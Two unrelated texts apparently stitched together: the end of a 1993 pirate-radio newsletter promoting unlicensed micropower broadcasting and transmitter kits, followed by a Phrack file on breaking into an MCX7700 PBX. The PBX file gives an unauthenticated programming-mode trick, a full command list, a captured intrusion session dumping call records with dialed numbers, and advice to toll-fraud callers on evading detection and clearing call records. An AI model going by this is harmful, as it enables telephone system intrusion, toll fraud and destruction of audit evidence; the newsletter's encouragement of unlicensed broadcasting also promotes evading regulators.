clearly exasperated at having their time wasted by this FCC agent. A few were amused and asked for information regarding San Francisco Liberation Radio's frequency and broadcast schedule. After Richard's ID was verified he was released without any further consequences by the SF police. Richard described it this way, "Before it was all over there were at least 20 police officers on the scene. They were all so pumped up with adrenaline you would have thought I had committed the crime of the century. It was clearly irresponsible for this FCC agent to call for such a massive response without giving clear reason or instruction to the SF police. When police officers go into a situation not knowing the details they naturally assume the worst. For one dark moment I feared my life was in danger." Clearly, this was an obvious case of overreaction by FCC agent David Doon who clearly endangered the life of Richard Edmondson by calling in such a massive police response. The FCC must be held accountable for the actions of their agents who use such extremely excessive and reactionary methods to suppress a growing micro power broadcasting movement. It would have sufficed for David Doon to have written down the license plate # of Richard's vehicle and run a DMV check. As more micro power broadcasters go on the air in the Bay area and Northern California we can anticipate further actions by the FCC to harass and intimidate those involved. However, we shall not be moved by their threats and police state tactics.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

***** BUSH RADIO UNDER ATTACK IN SOUTH AFRICA *****

4 October, 1993

AMARC Solidarity Action Network received this urgent demand today from Bush Radio, a community radio project in Cape Town, South Africa.

An Action Alert was first issued in support of Bush Radio when its equipment was seized in May. For a copy of that Alert, send a request to amarc@web.apc.org.30th September, 1993

OPEN LETTER RE: PROSECUTION OF BUSH RADIO

To Bush Radio's Members, Users Friends and Supporters

Bush Radio is being prosecuted for starting a community radio station. We are charged on three counts:

1. illegal broadcasting

2. illegal possession of broadcast apparatus, and

3. obstructing the course of justice.

These charges are being leveled at two of our members, who face stiff penalties: R10,000 and/or 3 years imprisonment each on the first two counts alone.

The first court appearance is set for October 13. We now need your support to stop the victimization of genuine community radio before it even gets going.

Bush radio is a community radio initiative, owned and controlled by its membership, a wide range of organizations and individuals. For more than two years we planned and talked about going on air. Our attempts to get a broadcasting license from the Ministry for Home Affairs were repeatedly frustrated, and our membership eventually decided that we should go ahead without one.

So from 4 ‑ 8 pm on Sunday April 1993, listeners on the Cape Flats heard a mix of programs produced and presented by our "networkers" (volunteer producers from the community). Scores of other people were there, and all of them had a chance to go on air, most of them for the first time in their lives.

In the week that followed the state seized our transmission equipment, effectively silencing us on the eve of our second broadcast, scheduled for May 1st. About six weeks later we were warned that the state was considering laying charges against us. Last week charge sheets were served on our lawyers, to appear before a regional court on October 13th.

For the state to take such action at this time seems to contradict their professed commitment to a more open South Africa. We are being charged in terms of laws inspired by apartheid at the very same time that new legislation passes through parliament ‑ including bills for the transitional Executive Council and an Independent Broadcasting Authority, drawn up by parties at the negotiations.

The enforcement of these charges could have serious consequences for us at Bush Radio. For an organization which employs a staff of only two people, we do a disproportionate amount of work, and can ill afford to be spending time on defending unnecessary legal action. Bush Radio runs a range of training programs aimed at bringing new voices into the broadcasting environment. We work with a number of organizations, producing programs that are distributed either on audio‑cassette or on other radio stations. Substantial time and energy is invested in building up a network of volunteers, the backbone of a truly participatory community radio. A lot of time is spent providing support to others who want to start radio stations in their own communities.

Despite our modest resources, Bush radio has become something of a "flagship" for the emerging community radio sector in SouthAfrica. For us to be criminalized could weaken the growth of this

new sector which holds such real potential for communities wanting to control their own development.

We were always open and peaceful in our methods, and feel that this treatment is misplaced. To drag us through the courts is a waste of time and money, not only for Bush Radio but also for the taxpayer who foots the bill.

We hope the charges might be dropped, and seek your support in making our case. What can you do?

At this stage we ask that you write letters. They should be: "To whom it may concern,"

The content of your letter would depend on your relationship with Bush Radio.

If you are a member, we'd like you to say why you think it's inappropriate for us to be prosecuted, and include a statement of solidarity.

If you are a client, we'd like you to say why you think it's inappropriate for us to be prosecuted, and include a statement of solidarity.

If you are a client, we'd like to hear about the value of service you have derived from Bush Radio, and we would like you to be specific about what we did together.

If you are a friend, or supporter, please write whatever you feel is appropriate, and we'd appreciate comments on how this kind of action undermines confidence in the nature of change in our country.

Please send these letters to:

BUSH RADIO at fax no.: +(27‑21) 448‑5451

and send originals to: P.O. Box 13290 Mowbray, 7705

Cape Town, South Africa

We should receive these letters by Friday 8th October, or as soon as possible thereafter.

Thanking you in anticipation,

JEANNE DU TOIT

Secretary for the Coordinating Committee

The Solidarity Action Network is an initiative of AMARC, the World Association of Community Radio Broadcasters.

Action Alerts are posted in the conference amarc.radio carried by many members of the APC Network.

Email users who do not have access to the APC Network

can receive Action Alerts directly by contacting AMARC.

For more information about AMARC or the

Action Network, contact us at:

3575 St‑Laurent, # 704 ‑ Montreal, Quebec ‑ H2X 2T7 Canada Fax: +(514) 849‑7129 ‑ Tel: +(514) 982‑0351 Email: amarc@web.apc.org

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

***** FREEDOM OF COMMUNICATION *****

>From Zeke Teflon's book ‑ Complete Manual of Pirate Radio

Freedom of communication is a basic human right. Like all rights, freedom of communication consists of being able to exercise your abilities with‑ out interference. Government cannot give you your abilities, but it sure as hell can (and will) interfere with you when you exercise them. Government cannot give you rights. It can only take them from you. If all governments (goons with guns forcing others to follow their dictates through violence and coercion) were to cease to exist, human rights would certainly not cease along with them.

The naive objection could be raised that while governments cannot give you rights, they can protect them by preventing your fellow citizens from interfering with you. That's the theory. In practice, governments rarely 'protect' citizens' rights, and then only when it suits their political purposes. Invariably, when governments feel the least bit threatened, they place their own 'security' needs above the human rights they supposedly safeguard. Through‑ out history the vilest and most consistent violators of human rights have been governments. Governments, along with their bedfellows, organized religions, have been responsible for the overwhelming bulk of human rights violations in every human civilization.

We cannot look to government to protect our rights. We have to do it ourselves, and an effective means of doing that is by exercising our rights. Use 'em or lose 'em.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

***** Connecting to the Net *****

One of the best tools for the immediate transfer of news, information and discussion is the Internet. With any basic computer and a modem, world wide access is just a few keystrokes away. In the Bay Area one of the best Interest access providers is CRL, for a flat rate of $18 per month you will have all the Interent resources available to you. Resources include the ability to send email to anyone else in the world who is on the net as well, check out hundreds of news groups for the latest and weirdest happenings, send breaking news and information to other community broadcasters, etc.

At the moment we are working on a way to digitally record and compress 5 to 15 minute audio spots into a computer file which can be sent anywhere in the world where there is a computer to receive it. With an inexpensive digital recording and playback card which plugs into any basic PC system, micro power broadcasters will be able to send and receive these spots to and from anywhere in the world. This completely bypasses the rather expensive satellite feeds and makes for a much more decentralized system of distribution. If you are interested in this project please contact us. To reach CRL in regards to an Internet account give them a call (415) 3812800.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

***** MICRO POWER BROADCASTING, TECHNOLOGY FOR THE PEOPLE *****

With circuit board dimensions of 2" x 4 1/2", a five

watt FM micro power transmitter is capable of covering a community 3‑5 miles in radius. Such compact and inexpensive technology has the possibility of giving each and every community its own voice. Stephen Dunifer with Free Radio Berkeley has been designing and developing this unit along with a series of other transmitters, amplifiers and antennas over the last year. Mass produced RF transistors and communications IC's have made it possible to design and build stable and clean transmitters and amplifiers for a fraction of the cost of brand name type accepted equipment. Even the entry level 5 watt kit, using only three transistors, is very stable once tuned and set up.

Even more sophisticated phase lock loop (PLL) frequency control designs are not that much more expensive to design and produce. At this moment, several individuals are working on low cost PLL designs which should meet current FCC requirements for frequency stability. When these designs are finished they will be available in kit form and assembled as well (for shipment outside US only).

What does it take to put a micro power broadcasting operation on the air ? First off, less than $500. A basic 5 watt FM transmitter, output filter (very necessary to reduce output harmonics), coax cable (50‑100 ft RG8), antenna and power supply (battery or 12 volt regulated and filtered unit) is going to cost about $125‑150. This is assuming assembly of kit and antenna. Next, a VHF power meter ($30‑$40 at Radio Shack), a dummy load (make from resistors or $19 at Radio Shack) and a frequency counter ($50‑150) are needed for tuning and keeping things optimized. Beyond those requirements one sort of audio source (line level ‑10 dbm, .3 volts) or another is needed to feed the transmitter. This source can be a walkman type cassette unit, a mixing board, tape deck, etc. Granted this is not a professional studio but for low budget community operations, it does not take top end gear. Creativity and determination as shown by many community stations can certainly make up the difference.

Once all the equipment has been assembled and arranged,

a suitable place needs to be found for the operation and setting up the antenna. With FM, which is line of sight transmission, the higher the antenna the better. Depending on the regulations and political climate of the country in which you live, your operation may need to be portable for rapid set‑up and break down. That seems especially true here in the United Corporate Snakes of America.

At the core of this is the potential to set up loosely coupled autonomous networks of communication around entire planet, outside the grasp of corporate/government control. This is the goal of the Free Communications Coalition, the umbrella organization which is being formed to support, defend and encourage micro power broadcasting. Micro power technology makes this possible through a combination of low power. inexpensive FM, AM, TV and shortwave transmitters. Free Radio Berkeley, San Francisco Liberation Radio and other interested parties will be placing an international shortwave station on the air (100‑300 watts initially at 40 meters ‑ 7.4 to 7.5 Mhz range, increasing to 1000) sometime in November, 1993. If we had to use tube designs, doing such an operation would be impossible due to the portability requirements. Instead, relatively inexpensive transistor designs allow to us build linear shortwave amplifiers capable of output powers exceeding 1000 watts while running off a bank of lead acid batteries. Certainly, within the normal definitions, 100 to 1000 watts on shortwave is definitely beyond the usual micropower definition. However, when right wing evangelical ranters are running 100‑500 KW it could be considered to be micropower. At the moment, Free Radio Berkeley is offering an entire line of transmitter and amplifier kits for FM broadcasting along with antenna and equipment designs. Assembled units are available for sale outside the US only. A rather effective antenna can be built using common hardware store parts for about $10. Our work will be expanding to include UHF & VHF TV, AM and shortwave designs. We would like to find other engineers and technically inclined people to help increase these efforts since we are a rather small design and development operation. Further, we need such technically inclined people to act as advisors and facilitators in the process of helping people build, test, tune, and setup their transmitters and antennas. That way, we can create a pool of people across the country and world who will be available to lend a technical hand to those who wish put micropower broadcasting operations on the air.

Let a thousand transmitters bloom

Stephen Dunifer

Free Radio Berkeley / Free Communications Coalition ‑ the People's FCC

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Freedom of Broadcasting in Italy

Just for you to know, back in 1974/75 Radio Milano International in Milano (not associated with us) started as the first private‑pirate FM station in this country, operating from a van which kept moving around the town to avoid the PTT authorities (equivalent of the FCC). RMI brought the first regular stereo programs to Italy, good music not heard before on state channels, as the other stations which came after them did. They also went to court and fought for "free", private radio and freedom of speech over radio and won against the old Postal law which considered broadcasting as State Monopoly. Today RMI is one of the major national radio networks with hundreds of repeaters all over the Italian peninsula, while thousands of private radio and TV stations obtained authorizations to broadcast legally over the years.

If you have a story to tell on pirate radio, or information to share (voice/paper/email), please get in touch with us. On shortwave we reach also many European Pirates who would love to hear from you. (We indeed carried "legally" some of the pirates programs in the past in order to offer them better coverage to their "alternative" programs. Something we would also like to do again the future.)

Please send email to 100020.1013@compuserve.com, including a phone number and times when we can call possibly you from Europe for an interview. We will guarantee anonymity if so desired, since our Shortwave transmissions may also be heard in the USA. We'll love to hear from you! 73, Alfredo ‑‑‑ Alfredo E. Cotroneo, President, NEXUS‑International Broadcasting Association PO BOX 10980, I‑20110 Milano, Italy phone: +39‑2‑266 6971 | fax: +39‑2‑706 38151

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Notes from the Net on the FCC

One person writes about his FCC bust on the Usenet newsgroup alt.radio.pirate:

When I was busted in 1984, the FCC used a tan‑colored

buick passenger car. The passenger seat had been ripped out and was replaced with a rack of receiving equipment‑‑nothing special, just commercially‑available stuff. In the trunk was a pair of batteries driving inverters. The engine had a second alternator to charge the batteries. Beneath the vinyl roof was a direction‑finding antenna array that was connected to an indicator on the dashboard. They'd just drive in the direction indicated until they reached the transmitter. That car served 3‑4 states in the Northwestern US. How

do I know all this? After the guy finished writing me up, I asked him to show me his equipment. After all, I showed him mine. He started to say no, but then changed his mind since there was nothing secret involved.

Don Hackler responds:

When I was engineering an directional AM broadcast station, the station was inspected by two FCC engineers driving a similar car. The roof had been removed and replaced with a fiber glass replica of the original. The antennae were embedded in the new roof, and there were no indications of anything `special' about the roof, inside or out.

I was given a ride in the car to go check some of the monitor points with a field‑strength meter. The passenger bucket seat had been replaced by a 3 foot tall rack on a swivel mount, so the driver or a passenger in back could operate the equipment. The rack had a slip cover made of upholstery vinyl that matched the car's interior. They refused (nicely) to let me see the equipment, but said it was just standard equipment; i.e. a spectrum analyzer and some general coverage receivers.

I never understood why they didn't allow a peek, but

I assumed it was probably some policy they were following. That was my first, and so far only, FCC inspection.

Don Hackler ‑ donh@shakala.com Shakala BBS (ClanZen Radio Network) Sunnyvale, CA 1‑408‑734‑2289

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

***** Why Support Micro‑Power Broadcasting? *****

Number One: The issue is freedom of speech. It's truly shocking what the Federal Communications Commission has allowed to happen. Media access is becoming too restricted for regular people to get their message across. As each day passes, radio, television, and newspaper media gets gobbled up pac‑man style by big outfits like Sony/CBS, GE/NBC, ATT, ABC, Time‑Warner Communications, Hearst, Gannett, Disney, Ted Turner, or even Fox. Our local media mogul, James Gabbert, owns an AM, FM, and television station in the same area. Middle America gets bombarded with religious broadcasters and urban areas get millions of watts of commercial crap beaming out from huge towers. Arbitron and Neilson decide which stations have what percentage of the listening audience. This situation must be changed so that truly free communication can have a chance to survive. In the 90's we need some space on the broadcast bands for community radio and television. Cable TV is promising hundreds of channels to choose from, but most of this stuff will be generated by the existing media networks. The problem here is that minority opinions are not heard. Censorship can not be tolerated in a democratic society. Freedom of information is what we need. Number Two: The technology has changed. It used to be very expensive to run a radio station. With modern electronics, however, small radio stations can be on the air with a minimal investment. In fact, people in Japan have been doing micro‑power broadcasting for years. Most people in the U.S. just have AM, FM, and TV receivers. To reach these people, you usually have to buy advertising time on a commercial station. That's assuming some station is willing to broadcast your tape! What we want is true public access to the airwaves for everyone, not just the rich and powerful. The cloud of secrecy about broadcasting has lifted and now we know that media power has been stolen by our own government, and sold to the highest bidder. People need media access because human beings have a natural need to communicate with each other. Cable TV and Audio service should feature input from the community at large. The old concept of standing on a soap box and calling out to your fellow citizens will not work in the computer age.

Number Three: Health Concerns about Radio energy, in large doses, it is considered by some to be a real health hazard. Incidence of leukemia and cancer runs high among men who work on high power transmitting towers. People in San Francisco get blasted with literally millions of watts of energy coming from Sutro Tower. This is because some radio and television stations want to be picked up 100 miles away. Scientific opinion on the effects of exposure to radio waves varies quite a bit, but if you're one of those people living up near Sutro Tower, maybe you should move. Micro‑power is the sane way to use radio and tv. The space on the radio and tv dial should be spread around to all interested parties, not just a small group of companies. Broadcast power levels for all stations should come down to safer levels.

‑Paul Griffin

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

***** KITS FROM FREE RADIO BERKELEY *****

First, a word from our legal department:

For educational purposes only. These kits are offered for the furtherance of one's knowledge regarding radio frequency design and principles. At all times during operation the assembled unit must be connected to a dummy load. Part 15 of the FCC rules prohibits an antenna being used with these units. All responsibilities for the ultimate use of these kits are born solely by the builder and/or operator.

KITS AVAILABLE NOW !

All kits are complete and come with professionally manufactured, drilled and tinned PC boards. All coils are pre‑wound. Each unit, unless specified, requires 12 volts for proper operation. Full instructions and diagrams included.

5 Watt FM Transmitter ‑ $45

An improved version of the Panaxis 5 watt design with a much more rugged output transistor capable of producing 6‑7 watts. Oscillator is a stable FET based VFO.

6 watt RF Amplifier ‑ $25

Uses the same output transistor as above. Will produce 6 watts for 1/2 watt input drive. Easy, quick assembly.

15 watt RF Amplifier ‑ $35

Uses a very high gain (14dB) RF transistor to boost a 1/2 watt input to 15 watts. Complete with PC Board and all required parts.

25‑30 watt RF Amplifier ‑ $35

Will produce full power with an input drive of 4‑5 watts.

1/2 to 1 watt Amplifier ‑ $18

1/2 to 1 watt output for an input power of 10 mw. Great for boosting lower power VFOs.

Output Filter Kit ‑ $5.00

A seven element low pass filter, composed of 4 coils and 3 capacitors, to flatten those harmonics. Specify cutoff frequency desired.

COMING REAL SOON !

1/2 ‑ 1 watt Stereo Broadcast Transmitter ‑ $35

A vast improvement over the Ramsey FM‑10. It uses the BA1404 IC as a stereo modulator only to modulate a FET vfo, buffer and amp chain. Better audio input filtering and bypassing. IC voltage regulation for the 2.5 volt supply for the BA1404. A very rugged output stage and collector voltage bypassing make this unit stand out from all other transmitter designs using the BA1404 chip.

Stereo Audio Processor ‑ $Price to be determined

A combined stereo generator using the BA1404 coupled with compandor ICs for compression and limiting of audio signals

If you have any other particular requirements please let us know. Custom design and fabrication services are available including PC layout and production. Full CAD services as well.

Proceeds from the sales of these kits go to the furtherance of micro power broadcasting, bringing a voice of empowerment to every community.

Please add $3.00 for handling and shipping for each kit.

Payment to be made out to cash or to Stephen Dunifer, we are still working out the bank trip. Send to:

Free Radio Berkeley

1442 A Walnut St., #406

Berkeley, CA 94709

Voice mail: (510) 464‑3041

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On the Air

Free Radio Berkeley ‑ Sundays from 9 PM to 12 Midnight at 88.1 FM. Call their voice mail # (510) 464‑3041 for further information. Or write them: 1442 A Walnut St., #406, Berkeley, 94709.

San Francisco Liberation Radio ‑ Wednesdays & Saturdays from 8 PM to 10 PM at 93.7 FM. Call their voice mail # (415) 487‑6308 for further information and to help out. Or write them: San Francisco Liberation Radio, 350 7th. Ave, Box35, San Francisco CA, 94118.

Southern Marin, San Rafael Area ‑ schedule not known at this time, try 87.9 FM.

Southern Marin, Sausalito ‑ left end of the dial most every night, try 87.9 FM.

Mission District, SF ‑ LaRaza station, schedule not known, try 87.9 FM

Santa Cruz ‑ Either on the air or soon to be, schedule & frequency not known at this time

More stations taking to the air all the time, look for a whole network to be happening in Berkeley. An attendee of the New York City workshop is on the air in Connecticut with 5 watts as Ragged Mountain Liberation Radio. Phone calls are coming in from around the country, keep those calls and letters coming.

From San Francisco Liberation Radio: Each SFLR program closes with the words: "Fascists are like cockroaches. Shine a light on them and they scurry away. And together, you and I can be the light." Richard Edmondson of SFLR, author of that slogan, said, "Well, first and foremost of all it seemed like a truism, and it seemed like the sort of phrase to end a radio program with ‑ catchy."

Stephen Dunifer with Free Radio Berkeley added, "Yes, but cockroaches do not carry guns". One of Free Radio Berkeley's favorite tag lines is "Are you going to continue to live the lie or are you going to act the truth ?

Both San Francisco Liberation Radio and Free Radio Berkeley have been carrying a lot of very diverse and interesting programming ranging from Food Not Bombs Radio Network programs to Jello Biafra declaring that Urinalysis is Freedom to local street interviews to an interview with the former program director at Pacicifa station WPFW in Washington, DC. If you are interested in producing programs, conducting news gathering and interviews, etc. or have tapes of your band, performance piece, etc. or wish to help out in any other way, please contact either Free Radio Berkeley or San Francisco Liberation Radio. Tapes may be mailed to the return address on this newsletter in care of Free Radio Berkeley. Let your voices and performance art be heard !

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the Media

Within the last few months, a considerable amount of media attention has been focused on Micropower Broadcasting. Articles have appeared in the East Bay Express, SF Weekly, Bay Guardian, Oakland Tribune, San Jose Mercury, Daily Cal, SF Chronicle, Berkeley Voice and New York Daily News. CNN put together a news story about Free Radio Berkeley which aired nationally and was picked up and rebroadcast by Channel 2 in Oakland. More coverage is expected to be forthcoming. An article may appear in the New York Times. KQED radio is working on a story. A fifteen page article on guerilla media will be in Mondo 2000, due out the first of November. Channel 31 (Marin County) is covering one of the broadcast operations in San Rafael. A press and info packet is going to be sent out around the country. Any help you can offer in the area of community and media outreach would be greatly appreciated. It is our intent to build an international movement and coalition. Contact the Free Communications Coalition (510) 464‑3041

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FUND RAISING VIDEO PARTY

Featuring: Pump Up the Volume, Medium Cool and videos from Black Liberation Radio

Saturday, November 13 ‑ 8 PM

809 B Allston Way, Berkeley

(two blocks south of University Ave., between 5th and 6th streets)

$5‑? donation. Free popcorn provided. Help us pay our operational expenses.

________________________________________

HELP TAKE BACK THE AIRWAVES FREE COMMUNICATIONS COALITION MEETING

Saturday, November 13 ‑ 5 PM

809 B Allston Way, Berkeley

With the dramatic increase in publicity (Free Radio Berkeley made the front page of the Sunday New York Times ‑ Oct. 24) and response we have experienced in the last month or so, it is rather important that all of us who are concerned with the defense, support and promotion of micro power broadcasting come together to plan and create a strategy which will lead to the Free Communications Coalition (the Peoples' FCC) becoming an international umbrella under which micropower broadcasting can flourish.

To that end, you are invited to attend the meeting of the Free Communications Coalition on Saturday, November 13 at 5 PM. It will be held at 809 B Allston Way (between 5th & 6th streets) in Berkeley. This will be a pot luck dinner meeting, bring a vegetarian dish to share. Following, at

The MCX7700 PABX System

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 25 of 28

****************************************

/////////////// THE MCX7700 PABX SYSTEM ////////////////

/////////////// Brought to you courtesy of [)elamo Labz ////////////////

////////////// and the ChUrCH oF tHE Non‑CoNForMiST++ ////////////////

(warespeoplessuckwarespeoplessucksuksuk)

Greetings from myself, The Evil [)r. [)elam!

In this text file I present a PBX that identifies itself as an "MCX7700"... probably the easiest PBX hack you'll find, and not a bad system... I've seen worse.

Dis'‑claimer: (This is the part where I get to Dis' the system.) ‑‑‑‑‑‑‑‑‑‑‑‑‑

This particular system is wide open and it's not my problem the owners decided to buy a lame system. Via freedom of the press I am publishing my findings, so if anyone gets pissed off about this file *PHUCK 0FF*!

Ab‑Using the system:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once a data connection is established, press the '*' key to enter programming mode. In programming mode, all commands are given as 2 digit combinations. Some of the commands are macros of other commands. Example: command 50 will do a command 15 plus enter a response to the question "Clear all call records Yes/No". This particular system uses only extensions.. not accounts, but has the capability to do both. The system sends EOF (CTRL‑Z) characters after every command, this is NOT something I typed. I replaced all occurrences of CTRL‑Z characters with <‑CTRL Z‑> in this phile for obvious reasons.

Note to |<odez |<iddiez:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For all you kiddiez who think you can bang the fuck outta codez and never get caught, you might think again after reading this phile. Command 55 "Exceptions report" is most likely what the system owner looks at every month. The report includes Most Expensive Calls, Longest Calls, and Most Frequently Called Numbers. Avoiding being caught is as simple as hiding among the rest of the crowd. I.E. don't fucking call Japan or stay on for 8 hours, and don't call the same BBS 100 times on a code in a month. The administrator most likely will glance at the printout and see which department has a fuckup in it who calls his mistress in Egypt every day, and go rag him out... if you're not one of the top in the exceptions report, chances are they'll never know. If you happen to have the dataline to the PBX then who the fuck cares.. just clear the fucking call records.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

List of Commands:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

00 Terminate programming

10 System parameters menu (PRINTER = 1 / PABX = 2 / REPORT = 3 / OPTIONS = 4) 11 Change current time

12 Change current date

15 Clear all call records Y/N

16 Set start date

17 Set trunk assignments

18 Set group number

19 "STORED NUMBER ENTRY, 4=ABVD, 5‑8=OCC ?"

30 Show system parameters

31 Summary of extensions sort

32 Summary of accounts sort

33 Summary of departments sort

34 Summary of company sort

35 Summary of trunks sort

36 Report of all call records

37 Show trunk assignments

38 Show extension/department assignments

39 Show stored numbers

43 <this command froze>

44 Reports a number

45 ?

46 Block Check

50 Clear all call records macro.. pipes a yes into command 15

51 <terminated programming>

52 <terminated programming>

53 Sort call stats by a specified phone number

54 Area code sort

55 Exceptions reports (Most expensive / longest / most frequent calls) 60 "INTERACTIVE MODE"

61 <strange>

62 <nothing>

63 <this command froze>

64 Displays a number (5997777B)

65 Displays system type (MCX‑7700/PC V4.0.5 1189)

67 Set SMDR input

68 Display SMDR inputs

69 <shows a line of numbers 01‑79>

70 Full buffer program

71 Auto report program 1

72 Auto report program 2

73 Set index number

74 Set rate table

75 Rate table sizes

76 Pricing types

79 <nothing>

80 <strange>

90 Display full buffer program

91 Display auto report program 1

92 Display auto report program 2

93 List index table

94 List rate table

95 Display rate table sizes

96 Display pricing types

97 Invalid command

98 Invalid command

99 Call record dump

"*" key starts programming mode

<ESC> key aborts commands: "+++ FUNCTION CANCELED +++"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Here's a capture from a session online. (edited for brevity) Settings: Wordlength 8, Parity None, Stop bits 1

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CONNECT 1200

<< Pressed '*' key >>

PROGRAMMING ENABLED 09/05/92 8:31A

<‑CTRL Z‑>

COMMAND ?15

CLEAR CALL RECORDS ‑ ARE YOU SURE ? <‑CTRL Z‑>

COMMAND ?17

SET TRUNK ASSIGNMENTS

POSITION ? ‑+++ FUNCTION CANCELED +++

<‑CTRL Z‑>

COMMAND ?30

SYSTEM PARAMETERS]

PRTR DIAGNOSTICS SMDR FORM‑FEED EXPAND ESC

TYPE A R D BAUD SIM LNG ON OFF SEQ

2 N N N 2 N 66 014 015 000

ACCOUNTS ‑‑‑‑‑‑TRUNKS‑‑‑‑‑‑ EXT ACCESS TOLL

SIZE NO. NO. '‑' GRP EQP SIZE ABS COST DIG

04 1024 040 N 2 3 3 Y N 1

CALL ‑‑‑‑DROP OR REJECT‑‑‑ AUTO TO‑ LIST

GRACE LOC ACT INC TRK EXT PRD DAY NULL

05 N N N N N 0 Y N

SER PC ZERO

IAL PORT OPR

Y Y Y

<‑CTRL Z‑>

COMMAND ?35

TRUNK USAGE SORT: SUMMARY ?Y

SUMMARY OF TRUNK USAGE

REPORT PERIOD PAGE 1

09/01/92 ‑ 09/05/92 09/05/92 8:35A

TRUNK TOTAL TOTAL AVG TIME COSTED TOTAL USED CALLS TIME PER CALL TIME COST

‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑

8080 0 0 0.0 0 $ 0.00 8086 0 0 0.0 0 $ 0.00 8087 0 0 0.0 0 $ 0.00 80001 9 47 5.2 12 $ 3.11 80002 6 12 2.0 7 $ 2.13 80003 17 57 3.3 7 $ 2.21 80004 12 35 2.9 9 $ 2.21 80005 12 15 1.2 4 $ 1.50 80006 13 24 1.8 0 $ 0.00 80007 6 19 3.1 9 $ 2.42 80008 12 39 3.2 1 $ 0.25 80009 10 45 4.5 17 $ 4.50 80010 8 42 5.2 9 $ 2.30 80011 14 46 3.2 10 $ 2.61 80012 11 98 8.9 70 $ 16.14 80013 8 26 3.2 3 $ 1.21 80014 13 34 2.6 12 $ 3.03 80015 14 32 2.2 5 $ 1.50 80016 0 0 0.0 0 $ 0.00 86001 0 0 0.0 0 $ 0.00 86003 0 0 0.0 0 $ 0.00 87001 82 270 3.2 270 $ 60.31 87002 79 256 3.2 256 $ 59.52 84002 0 0 0.0 0 $ 0.00 95001 0 0 0.0 0 $ 0.00 0 0 0.0 0 $ 0.00

‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑

TOTAL 326 1097 3.3 701 $ 164.95

<‑CTRL Z‑>

COMMAND ?36

CALL RECORD DUMP :

DETAIL?Y

REPORT OF ALL CALL RECORDS

REPORT PERIOD PAGE 1

09/01/92 ‑ 09/05/92 09/05/92 8:36A

EXTEN‑ TRUNK NUMBER DURATION ACCOUNT SION USED DIALED DATE TIME MINUTES COST CODE

‑‑‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

718 80009 ( )911‑0000 09/01/92 7:55A 0.5 $ .00 311 80011 ( )911‑0000 09/01/92 7:55A 1.3 $ .00 278 80009 (800)944‑1535 09/01/92 8:16A 3.0 $ .00 255 80005 (800)944‑1535 09/01/92 8:19A 1.3 $ .00 261 87001 ( )660‑5525 09/01/92 8:28A 4.2 $ .95 201 80004 (800)944‑1535 09/01/92 8:33A 1.9 $ .00 315 87002 ( )841‑2586 09/01/92 8:34A 2.3 $ .57 314 87001 ( )290‑1030 09/01/92 8:44A 3.4 $ .76 735 87002 (813)293‑4319 09/01/92 8:44A 2.5 $ .71 735 87002 (813)293‑4319 09/01/92 8:58A 1.2 $ .49 255 80009 (800)944‑1535 09/01/92 8:56A 6.9 $ .00 247 80015 (800)944‑1535 09/01/92 9:02A 3.7 $ .00 261 80011 O (513)825‑3931 09/01/92 9:09A 3.6 $ .00 261 87001 ( )644‑1061 09/01/92 9:16A 1.3 $ .38

<<ETC....>>

<‑CTRL Z‑>

COMMAND ?00]

PROGRAMMING TERMINATED

PROGRAMMING ENABLED 09/05/92 8:40A

<‑CTRL Z‑>

COMMAND ?37

]TRUNK ASSIGNMENTS

09/05/92 8:40A PAGE 1

